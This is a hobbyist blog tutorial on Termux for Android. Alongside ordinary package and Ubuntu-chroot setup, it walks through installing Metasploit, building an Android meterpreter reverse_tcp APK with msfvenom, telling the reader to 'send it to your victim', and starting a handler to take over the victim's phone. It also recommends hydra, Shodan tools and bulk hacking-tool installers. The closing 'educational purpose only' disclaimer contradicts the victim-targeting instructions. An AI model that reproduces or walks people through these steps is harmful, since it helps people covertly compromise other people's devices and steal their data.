Android Hacking with Termux

Android Hacking with Termux

CASLY BLACK HACKERS NOTE BOOK

HACKING ANDROID WITH TERMUX

Android Hacking with Term If you want to immerse yourself more about how to hack with Android, then Termux is a very good “App” to use an discover. I have been using it for a long time and I still love to see what you can do with it ..! With or without root.

Because there is as much as possible with Termux, I would not be able to cover everything in this article, but I would ensure it’s a good start.

Termux is a terminal emulator for Android with a Linux environment. A minimal base system is installed automatically and additional packages are available using the apt and dpkg package management, similar to Debian or Ubuntu.

Termux is only available on Android 5.0 or later Features Termux Application

Secure Customizable Ready to Scale Up Programming Termux has some Extra features

Termux API Termux Boot Termux Float Termux Styling Termux Task Termux Widget Install Termux

Open the Termux App in the Google Play Store play.google.com/store/apps/details?id=com.t.. and click on download. After the Termux App is installed, you first have to do a update and a upgrade.

Installing packages from APT repository

In Termux it is recommended to use package manager pkg which is a wrapper for apt. It simplifies installing or upgrading packages by automatically updating apt lists so you don’t have to type apt update when installing or upgrading packages.

For myself I always use the apt instead of pkg a kind of getting used to it. Here in this article I would give a good example pkg, but as you can see on the pictures, I am staying with apt :-D

pkg update && pkg upgrade For more information about available commands, you can either just run pkg without arguments or like this:

pkg help. apt help Warning: if you prefer to use apt over pkg — never run it as root as you will mess up file permissions and SELinux contexts so you won’t be able to use it as a normal user.

As you see above, Termux looks exactly like a Terminal in Linux and you can compare Termux with a minimal Linux Installation where you can install everything yourself and set up the way you like it.

Just like with Linux you can use the help function

(package) --help Or install man for the manual pages of the various tools

pkg install man List all packages

pkg list-all Install Python and Pip

pkg install python2 pkg install python-pip Install Python3 and Pip3

pkg install python3 pkg install python3-pip Install Some Text Editors

pkg install nano pkg install vim pkg install emacs pkg install micro Storage Settings

To grant storage permissions in Android go to Settings > Apps > Termux > Permissions and select storage, then run termux-setup-storage in Termux.

To access shared and external storage you need to run

termux-setup-storage You will then be prompted to “Allow Termux access photos, media and files on your device”, which you should allow.

Executing termux-setup-storage ensures

That permission to shared storage is granted to Termux when running on Android 6.0 or later. That an app-private folder on external storage is created (if external storage exists). That a folder $HOME/storage is created.

Install Metasploit framework

Just copy and paste this URL in Termux

curl -LO raw.githubusercontent.com/Hax4us/Metasploit.. Then give it the permission to run:

chmod +x metasploit.sh Then start the installation process. It will take some time to install the Metasploit framework.

./metasploit.sh To start simply type: (It will take some time to open the console.)

msfconsole Use Metasploit

msfvenom -p android/meterpreter/reverse_tcp LHOST=(Wlan\'s inet) LPORT=4444 R > /sdcard/test.apk Wlan’s Inet is the IP address your connection to know your Wlan’s inet open a new session and type “ifconfig” and copy the inet of the Wlan and paste it into your payload (after LHOST=).

Go to your file manager then find your payload name{test.apk} then send it to your victim when the victim install that Apk

The following step is to run metasploit-framework type this commands

msfconsole use exploit/multi/handler set payload android/meterpreter/reverse_tcp set lhost (Wlan\'s inet)* set lport 4444 exploit If the target is download the payload, you can see the meterpreter session is started. with the “help” function you can see all the commands to use.

Install Ubuntu on Android

Ubuntu chroot for Termux. So, this chroot has an latest Ubuntu version (19.04 Disco Dingo). But before you use it, you need install Wget and PRoot to install Ubuntu chroot in Termux.

pkg install proot wget After you install Wget and PRoot, you can install it by execute this command:

mkdir -p ~/jails/ubuntu cd ~/jails/ubuntu wget raw.githubusercontent.com/Neo-Oli/termux-ub.. bash ubuntu.sh Or

./ubuntu.sh After Ubuntu chroot downloaded, you can run it by executing command ./start-ubuntu.sh. If you are in $HOME directory, you can run it with this command:

bash jails/ubuntu/start-ubuntu.sh After install the Ubuntu environment, you have to unminimize the setup run:

unminimize We have to install a lot of packages well this is a minimum install and I like to do this at once.

apt install git net-tools wget curl Because you need python for the various tools you would like to use, you must install these packages below, this applies to both python 2.7 and python 3

Install w3m

w3m is a text-based web browser as well as a pager like more' orless'. With w3m you can browse web pages through a terminal emulator window (xterm, rxvt or something like that). Moreover, w3m can be used as a text formatting tool which typesets HTML into plain text.

pkg install w3m w3m --help man w3m w3m google.com

To exit press ctrl + z

Install Sl

You will be see a moving train and you can control if the setup of Termux is running.

pkg install sl

Install Top

“top” command You will see all the running processes on your mobile

pkg install top

Type --help for more info

Type -q to quite the program

Install Figlet

pkg install figlet Usage

figlet Dotweak.com Install Cmatrix

With this awesome terminal, you can really impress all your friends,

pkg install cmatrix Install Toilet

pkg install toilet Usage

toilet Dotweak.com toilet -f mono12 -F gay Dotweak Install various hacking tools on Termux

Warning: There are a lot of “Termux hacking tutorials” on the Internet which provide suspicious software meant to be used as hacking tools. Most of them are just clickbait and don’t actually work. Some of them force users to install malware on their devices.

Tools like aircrack-ng or tcpdump can be found in the Termux Root Packages repository. But note that Aircrack-ng requires wifi monitor mode which is not available for the most devices.

Install Nmap

Utility for Network Discovery, Security Scanner, Port Scanner, & Network Exploration Tool.

pkg install nmap Usage

nmap 127.0.0.1 Install Hydra

Hydra is one of the best password cracking and brute-forcing tool. It supports different services like telnet, ssh, ftp, etc. More information can be found in them official GitHub repository.

pkg install hydra Install Shodan Eye**

I succeeded in installing Shodan Eye, for which I installed it in the Termux Ubuntu environment. It works without any errors

git clone github.com/BullsEye0/shodan-eye.git cd shodan-eye pip install -r requirements.txt Usage

python shodan-eye

You will be asked for a Shodan API key

Installing GitHub “hacking tools” on your Termux

There are a number of GitHub tool available that makes installing various hacking tools easy. Please note, if your Android phone is not rooted then some of these tools will not work. In this article I did not talk about rooting a mobile phone. Maybe we will come back to this later in another article.

Install Lazymux

Lazymux tools installer is very easy to use, only provided for lazy termux users.

git clone github.com/Gameye98/Lazymux cd Lazymux python2 lazymux.py

Install Toolx

Tool-X is a Kali Linux Tool installer. In the Tool-X there are 250+ hacking tools available for Termux. You can install any tool by single click. Tool-X is Specially made for Termux and GNURoot Debian Terminal. Tool-X is also available for Ubuntu.

git clone github.com/Rajkumrdusad/Tool-X.git cd Tool-X chmod +x install.aex sh install.aex Or

./install.aex Usage

Tool-X

IMPORTANT THINGS TO REMEMBER

This article was written for educational purpose and pen-test only. The author can not be held responsible for damages caused by the use of these resources. You will not misuse the information to gain unauthorized access. This information shall only be used to expand knowledge and not for causing malicious or damaging attacks. Performing any hacks without written permission is illegal. Finally

There is so much to tell about what you all can do with your mobile phone and Termux and it’s so much fun and great. I really hope you have learned something from this article so that you can apply it.

CaslyBlack